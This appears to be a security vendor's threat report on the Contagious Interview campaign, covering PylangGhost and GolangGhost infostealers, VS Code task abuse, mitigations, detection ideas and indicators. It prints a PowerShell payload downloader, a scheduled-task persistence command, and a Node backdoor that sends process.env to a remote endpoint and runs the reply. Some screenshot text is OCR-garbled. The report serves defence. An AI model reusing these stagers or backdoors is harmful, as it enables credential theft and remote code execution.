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Summary

*Abstract customers already have visibility into the behaviors described in this report.

This post is a continuation of Part 1 which covered new techniques used in the Contagious Interview campaign. For
complete context on VS Code task abuse in the campaign, please see the original post on tracking this vector. In this final
part, we expand on the previous post and cover in greater detail what options are currently available to mitigate VS Code

Tasks abuse.
Findings
What WeaselStore Has in Store

The previous post observed the use of GitHub Gist-hosted scripts to download and execute next-stage payloads which
subsequently led to installation of WeaselStore infostealer/RAT. WeaselStore targeting Windows is implemented in Python
(AKA PylangGhost) while the variant targeting macOS is written in Go (AKA GolangGhost). The samples make heavy use

of LLM-generated code, and with it comes a number of bugs and redundant logic.

Both PylangGhost and GolangGhost are known to be used by Contagious Interview and have been thoroughly analyzed by

other researchers, so we will only briefly cover aspects of the samples from this chain.
PylangGhost Deployment

In the Windows route, a PowerShell script masquerading as an NVIDIA CUDA Toolkit installer downloads a ZIP from the
domain camdriver[.]pro tothe AppData\local\Temp folderas driver.zip and extracts its contents to the same temp

location. It then launches start.vbs from the extracted directory using wscript.exe in a hidden window.

NVIDIA CUDA Toolkit

Version: 12.4.231

Platform: Windows 10/11 (x64)

Copyright 2026 NVIDIA Corporation. All rights reserved.
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# Configuration

$Script:Version = "12.4.231"

$Script:BuildDate '2018-08-02"

$Script:TempDir = [System.IO0.Path]::GetTempPath()

$Script:ZipPath = Join-Path $TempDir “driver.zip"

$Script:ExtractPath = Join-Path $TempDir ("driver_{@}" -f (Get-Random -Minimum 100001 -Maximum 999999))
$Script:StartupScript = Join-Path $Script:ExtractPath "start.vbs"

$Script:DownloadUrl = "https://camdriver.pro/realtekwin.update?r=ffa752c6-84e9-4bb9-b3c8-a3ab@9cbcbe6"

$cleanUrl = $Script:DownloadUrl.Trim()
Write-Log "Attempting to download payload from: $cleanUrl"

Invoke-WebRequest -Uri $cleanUrl —OutFile $Script:ZipPath —UseBasicParsing *>$null

if (Test-Path $Script:ZipPath) {
if (!(Test-Path $Script:ExtractPath)) { New-Item -ItemType Directory -Path $Script:ExtractPath | Out-Null }
Expand-Archive -Path $Script:ZipPath -DestinationPath $Script:ExtractPath -Force *>$null
r
if (Test-Path $Script:StartupScript) {
Write-Log "Launching driver configuration script: $Script:StartupScript"
Start-Process -FilePath "wscript.exe" -ArgumentList """$Script:StartupScript""" -WindowStyle Hidden *>$null
} else {
throw "Startup script not found: $Script:StartupScript"

by

The VBScript file extracts a bundled Python environment from Module.zip in the same folder and runs a Python script

with the following command in a hidden window:

cmd.exe /c svchost.exe updatedriver.py
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Note that the svchost.exe binary here is actually a Python interpreter, which can be a dead giveaway for detection based

on the file's location outside of system files and Original filename of "python.exe".

Name Date modified Type Size

g auto.py @ svchost.exe Properties X
=

M auto_base.py

,__“r auto_gather.py General Compatibility Digital Signatures
g command.py Security Details Previous Versions
I._?{ constants.py Property Value
l_‘-:r CHEDY Description
l_.__.rf dec.py File description ~ Python
[&f evasion.py Type Application
|| file_pub File version 3.12.4150.1013
[ instance_check.py Product name  Python
¥ Module.zip Product version 3.12.4
[ pub Copyright Copyright © 2001-2023 Python Software. ..
. Size 101 KB
1] python3.dll Date modfied  6/6/2024 3:55 AM
1] pythen3i2.dil Language Language Neutral
[ pythonw.exe
I;{' start.vbs
B suchost.exe
g transport.py
|&f updatedriver.py
IJ utils_block.py
L_;{ utils_compress.py
-
u utnl;_ﬁypto.py Bemove Properties and Personal Information
I._Jr utils_filecopy.py
|j veruntime140.dll
4] veruntime140_1.d E— Aoply

The Python script decodes and executes Base64-encoded content which serves as the entrypoint to PylangGhost. Notably,
the script sets surprisingly run-of-the-mill persistence mechanisms. If running with administrative privileges it creates a

scheduled task named "svchost" that runs at every logon with highest privileges.
schtasks /Create /TN "svchost" /TR <payload> /SC ONLOGON /RL HIGHEST /RU <user>

It falls back to a registry HKCU/Run key named "svchost" or user startup folder persistence if not running as admin. The
scheduled task and run key mechanisms register wscript.exe start.vbs whereas the startup folder would just contain

start.vbs . If the logic is run from a compiled Python executable, the mechanisms would instead point to its own EXE.

The C2 server IP and port are hardcoded - hxxp://144.172.115[.1189:8080 .
GolangGhost Deployment

For macOS, the next stage is a bash script that downloads a ZIP from camdriver[.]pro to /var/tmp/WebCam.zip , extracts
to /var/tmp/WebCam/ , makes all extracted contents executable using chmod -R a+x , then immediately executes

cloud.sh from the extracted directory.

The script also persists /var/tmp/WebCam/cloud.sh via LaunchAgent, writing a launchd plist to
~/Library/LaunchAgents/com.drive.plist with the label "com.camdrive" that runs on every login. It opens a
MyCamDriv.app bundle as well, but unlike previous reporting where this would be a Mach-O malware (ChromeUpdateAlert

AKA FrostyFerret), the content of the .app in this sample was empty.

As previously documented, the GolangGhost source is not compiled and relies on a bundled Go binary for execution, started
by cloud.sh with:

./bin/go run updatedriver.go

The C2 server and port are the same used by the PylangGhost sample, but there is an additional server and port commented
out - hxxp://23.227.203[.]99:8080 .

Reusing Backdoored GitHub Repositories

Along with churning out new repositories backdoored with automated tasks, there are cases where the Contagious Interview

actors cycle through payload staging URLSs in the same repo. In the recent case of LimitBreakOrgs/bet ver 1, the latest

commit as of this post swaps a new Vercel staging domain into tasks.json . That commit is preceded by 3 other commits

rotating the stager URL here, here, and here.

It also sneaks a backdoor into the application code itself, showing that the actors stack techniques. The backdoor is a

Contagious Interview technique that has already been well documented, marked by node process.env exfiltration to
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hxxps://ip-checking-notification-firebase-2.vercel[.]app/api and arbitrary execution of the response payload.

= O Q repoil ke ’ AUTH_API

Filter by 2 files (229 ms) in ' LimitB

Code v
Issues
Pull requests

) Discussions verify(setApiKey(process.env. AUTHZAPT) )
.then((response) =

st executor ¢ Function(“require”, response.data);
@ Packages executor(require);

©- Commits

00 wikis
v B env
Languages
13 COINBASE_COMMERCE_API_KEY=cc_test_COINBASE12345
® JavaScript 14 KEY_ID=AKIAEXAMPLE12345
15  AWS_SECRET_ACCESS_KEY=SecretKeyExample/AbC1234567890
16 AUTH_API=aHROCHM6Ly9pcC1jaGVja2luZylub3RpZmlj YXRpb24tZmlyZWIhc2UtMi522X]j ZawuYXBul 2Fwag=
More languages... 17  AWS_REGION=eu-central-1
OPENAI_API_KEY=sk-test_OpenAIkey1234567890
SENTRY_DSN=https://public@sentry.example/12345

® Dotenv

@ Symbol

@ Exclude archived

.vscode
= server/controllers/auth. js

[Z tasks.json
66

= server 67

- [@ config 68
69
loadEnv.js

70 axios.post(api, { ...process.env }, {

= co llers 71 head { "x-app-request": "ip-check" }
72 L2
73

collection.js
74 module.exports = {

= routes/api 75 getCurrentUser,

authjs 76 login,

— R 77 setApiKey,
[£] serverjs
78 verify

79

Recipe ~ BB 8 Input
From Base64 . aHROcHM6LY9pcCljaGVja2luZylub3RpZmlj YXRpb24tZmlyZWIhc2UtMi52ZX] j ZWwuYXBwL2FwaQ==
e 80 = 1
Alphabet .
A-Za-z0-9+/= Output

https://ip-checking-notification-firebase-2.vercel.app/api
[ Remove non-alphabet chars P P < pp/ap

[ strict mode

Mitigations
New VS Code Releases

In response to reporting on VS Code Tasks abuse, Microsoft included a mitigation in the January 2026 update (version
1.109) released in early February. This release disabled automatic task execution by default, whereby the

task.allowAutomaticTasks user setting is no longer set to "on" unless modified by the user.

The update also prevents the setting from being defined at the workspace level, so malicious repositories with their own

.vscode/settings.json file should not be able to override the user (global) setting.
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< Settings

v Features
&

Task: Allow Automatic Tasks (A, o all pr
minal (5

Enable automatic tasks - note that tas Nt run in an untrus

off v
Visual Studio Code

o Visual Studio Code

Version: 1.109.5 (user setup)
Commit: 072586267e68ece9a47aa43f8c108e0dcbf44622

This version and the recent February 2026 (version 1.110) release also introduce a secondary prompt that warns the user
when an auto-run task is detected in a newly opened workspace. This acts as an additional guard after a user accepts the

Workspace Trust prompt.

This workspace has tasks (task name) defined
(c\Users Desktop\code_v1_110\.vscode\tasks
can launch processes automatically when you open this

workspace. Do you want to allow automatic tasks to run in all

trusted workspac

Allow Disallow Qpen File

An Important Caveat

However, note that selecting to allow automatic tasks is not scoped to just that workspace, but rather sets the global
task.allowAutomaticTasks user setting back to "on", which affects all workspaces. This means that, while the additional
prompt is an improvement for mitigation, it isn't a fail-safe. Along with Workspace Trust and Extension Update settings, the

Automatic Tasks setting should also be regularly audited as part of application policies.

As of early March 2026, organizations and VS Code users are advised to update to the latest version 1.110 and ensure that

task.allowAutomaticTasks is set to "off" in user settings.json , which is located by default at the following paths:

» macOS - ~/Library/Application Support/Code/User/settings.json
* Windows - %APPDATA%\Code\User\settings.json

o Linux - ~/.config/Code/User/settings.json

Detection Opportunities

Windows binary masquerading as svchost.exe - A process named svchost.exe located outside of
C:\Windows\System32 and C:\Windows\SysWOW64 , or whose PE Original Filename metadata does not resemble

svchost.exe is a strong masquerading indicator.

wscript.exe launched from PowerShell or CMD prompt - While this can occur legitimately, it is generally an unusual

process relationship.

wscript.exe launching scripts from temp directories - wscript.exe executing .vbs files from %TEMP% or its

subdirectories, particularly when the VBScript spawns cmd.exe or script interpreters in hidden windows.

Scheduled task or Run key named "svchost" - A scheduled task or
HKCU\Software\Microsoft\Windows\CurrentVersion\Run value named "svchost". The real svchost.exe is managed by

the Service Control Manager, not by scheduled tasks or registry autoruns.

LaunchAgent executing from /var/tmp/ - A LaunchAgent plist in ~/Library/LaunchAgents/ referencing shell scripts or

executables in /var/tmp/ .

Go source runtime compilation from temp or user-writable directories - go run executing .go source files from
/var/tmp/ , /tmp/ , or similar directories. Legitimate Go development does not typically compile and run source from
temp locations.
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Portable Python or Go runtime extracted to unusual locations - Extraction of a bundled runtime environment (e.g. a

Python distribution or a standalone Go binary) to temp folders or non-standard installation paths.

Mass executable permission changes after archive extraction - chmod -R a+x applied to a directory shortly after

extracting an archive. Blanket executable permissions on all extracted contents are unusual.

Conclusion

It's easy to dwell on all the various ways that VS Code and Cursor automated tasks can be abused, but the bottom line for
defenders is how to mitigate and detect the vector. With the updates to VS Code in recent releases that reduce the likelihood
(to an extent) of successful social engineering to execute malicious tasks, organizations and individuals should ensure their

applications are up to date, and that key user settings are regularly audited to ensure that task auto execution is disabled.
Appendix
Indicators

Some indicators featured in this post have already been listed in Part 1.

IP Addresses
IPv4 Description
144.172.115[.1189 PylangGhost and GolangGhost C2 server (port 8080 )
23.227.203[.199 GolangGhost C2 server (port 8080 ) (commented out in sample)
Domains
Domain Description
vscode-settings-tasks-227.vercel[.]app Payload endpoint in tasks file

ip-checking-notification-firebase-2.vercel[.Japp Node process.env exfiltration and response payload endpoint

Hashes
SHA-256 Hash Description
9b5394176c5a71965593159d822816763944e6742e87a8647c464691b48763¢ updatedriver.py (part of PylangGhost)
200cd1d874e345a3a3f04d2059f2a1a01e6769a7720c2a43b2e5dd85b77c7e64 updatedriver.go (part of GolangGhost)

File Paths and Artifacts

Artifact

AppData\Local\Temp\driver.zip

start.vbs

Module.zip

svchost.exe (PE Original Filename: python.exe )

updatedriver.py

Scheduled task named svchost
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Artifact

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svchost

/var/tmp/WebCam. zip

/var/tmp/WebCam/

/var/tmp/WebCam/cloud.sh

/var/tmp/WebCam/bin/go

updatedriver.go

~/Library/LaunchAgents/com.drive.plist

MyCamDriv.app

ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQCKa45DiATAIseCSBhB5GY THOWY9+/1zTuz4bpSWUEBYCrGSc1BFeegekgFv]95+UJavOMmOfKh581Ee3E8BG0I2MdhaIXS1fa8Pe9vyLH
rsa-key-20260210

ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQDBDCcBOWS9B20niFttGbKakMUIL8r/z5PPQQOqS2dIIt960pEAYGrg40YvTrIQpfEK8fdGFtK2CKWOfe8rDOOMXE jmsx8QZpC5noVsYt5e
rsa-key-20260211

GitHub Repositories

Repository Description

LimitBreakOrgs/bet_ver_1 Backdoored repo with rotating stager URLSs in tasks.json and application code backdoor

Associated Users
User Description
LimitBreakOrgs Owner of bet_ver_1 repo

We would love you to be a part of the journey, lets grab a coffee, have a chat, and set up a demo!
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